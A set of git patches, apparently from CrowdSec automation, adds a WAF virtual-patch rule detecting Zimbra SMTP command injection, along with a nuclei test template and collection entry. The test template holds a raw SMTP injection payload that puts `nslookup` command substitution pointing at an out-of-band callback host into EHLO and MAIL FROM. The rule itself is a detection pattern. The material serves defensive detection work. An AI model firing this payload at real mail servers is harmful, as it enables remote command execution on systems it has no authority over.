From 91e885379e9752f4623b772d4ce4e143bf421f16 Mon Sep 17 00:00:00 2001
From: crowdsec-automation
 <63358111+crowdsec-automation@users.noreply.github.com>
Date: Thu, 17 Sep 2026 11:30:17 +0200
Subject: [PATCH 1/4] Add vpatch-CVE-2026-73570 rule

---
 .../crowdsecurity/vpatch-CVE-2026-73570.yaml  | 31 +++++++++++++++++++
 1 file changed, 31 insertions(+)
 create mode 100644 appsec-rules/crowdsecurity/vpatch-CVE-2026-73570.yaml

diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2026-73570.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2026-73570.yaml
new file mode 100644
index 00000000000..efa5a33d47b
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2026-73570.yaml
@@ -0,0 +1,31 @@
+## autogenerated on 2026-09-17 09:30:13
+name: crowdsecurity/vpatch-CVE-2026-73570
+description: 'Detects Zimbra Collaboration Suite SMTP command injection using shell command substitution in SMTP commands.'
+rules:
+  - and:
+      - zones:
+          - RAW_BODY
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: 'ehlo `'
+      - zones:
+          - RAW_BODY
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: 'nslookup '
+
+labels:
+  type: exploit
+  service: http
+  confidence: 3
+  spoofable: 0
+  behavior: 'http:exploit'
+  label: 'Zimbra Collaboration Suite - RCE'
+  classification:
+    - cve.CVE-2026-73570
+    - attack.T1059
+    - cwe.CWE-78

From 1c4754d7d85bd423022229b82b7edf8ee266e63b Mon Sep 17 00:00:00 2001
From: crowdsec-automation
 <63358111+crowdsec-automation@users.noreply.github.com>
Date: Thu, 17 Sep 2026 11:30:19 +0200
Subject: [PATCH 2/4] Add vpatch-CVE-2026-73570 test config

---
 .appsec-tests/vpatch-CVE-2026-73570/config.yaml | 5 +++++
 1 file changed, 5 insertions(+)
 create mode 100644 .appsec-tests/vpatch-CVE-2026-73570/config.yaml

diff --git a/.appsec-tests/vpatch-CVE-2026-73570/config.yaml b/.appsec-tests/vpatch-CVE-2026-73570/config.yaml
new file mode 100644
index 00000000000..6a80bef590a
--- /dev/null
+++ b/.appsec-tests/vpatch-CVE-2026-73570/config.yaml
@@ -0,0 +1,5 @@
+## autogenerated on 2026-09-17 09:30:13
+appsec-rules:
+  - ./appsec-rules/crowdsecurity/base-config.yaml
+  - ./appsec-rules/crowdsecurity/vpatch-CVE-2026-73570.yaml
+nuclei_template: CVE-2026-73570.yaml

From af45b3c8b3c61f8181f2c0bdac63756bf8997c2d Mon Sep 17 00:00:00 2001
From: crowdsec-automation
 <63358111+crowdsec-automation@users.noreply.github.com>
Date: Thu, 17 Sep 2026 11:30:21 +0200
Subject: [PATCH 3/4] Add CVE-2026-73570.yaml test

---
 .../vpatch-CVE-2026-73570/CVE-2026-73570.yaml | 25 +++++++++++++++++++
 1 file changed, 25 insertions(+)
 create mode 100644 .appsec-tests/vpatch-CVE-2026-73570/CVE-2026-73570.yaml

diff --git a/.appsec-tests/vpatch-CVE-2026-73570/CVE-2026-73570.yaml b/.appsec-tests/vpatch-CVE-2026-73570/CVE-2026-73570.yaml
new file mode 100644
index 00000000000..596707fc49f
--- /dev/null
+++ b/.appsec-tests/vpatch-CVE-2026-73570/CVE-2026-73570.yaml
@@ -0,0 +1,25 @@
+## autogenerated on 2026-09-17 09:30:13
+id: CVE-2026-73570
+info:
+  name: CVE-2026-73570
+  author: crowdsec
+  severity: info
+  description: CVE-2026-73570 testing
+  tags: appsec-testing
+http:
+  - raw:
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/octet-stream
+        Content-Length: 123
+
+        EHLO `nslookup {{interactsh-url}}`
+        MAIL FROM:<zimbra@`nslookup {{interactsh-url}}`>
+        RCPT TO:<postmaster@localhost>
+        QUIT
+    cookie-reuse: true
+    matchers:
+      - type: status
+        status:
+          - 403

From 949a68066b6d5ce022459e71cea501f6498797e1 Mon Sep 17 00:00:00 2001
From: crowdsec-automation
 <63358111+crowdsec-automation@users.noreply.github.com>
Date: Thu, 17 Sep 2026 11:30:23 +0200
Subject: [PATCH 4/4] Add vpatch-CVE-2026-73570 rule to vpatch collection

---
 collections/crowdsecurity/appsec-virtual-patching.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/collections/crowdsecurity/appsec-virtual-patching.yaml b/collections/crowdsecurity/appsec-virtual-patching.yaml
index 94d0ed3d1ea..c16ed52691f 100644
--- a/collections/crowdsecurity/appsec-virtual-patching.yaml
+++ b/collections/crowdsecurity/appsec-virtual-patching.yaml
@@ -71,6 +71,7 @@ appsec-rules:
 - crowdsecurity/vpatch-CVE-2018-13379
 - crowdsecurity/vpatch-CVE-2022-26134
 - crowdsecurity/vpatch-CVE-2026-1557
+- crowdsecurity/vpatch-CVE-2026-73570
 - crowdsecurity/vpatch-CVE-2024-34102
 - crowdsecurity/vpatch-CVE-2024-29973
 - crowdsecurity/vpatch-CVE-2022-41082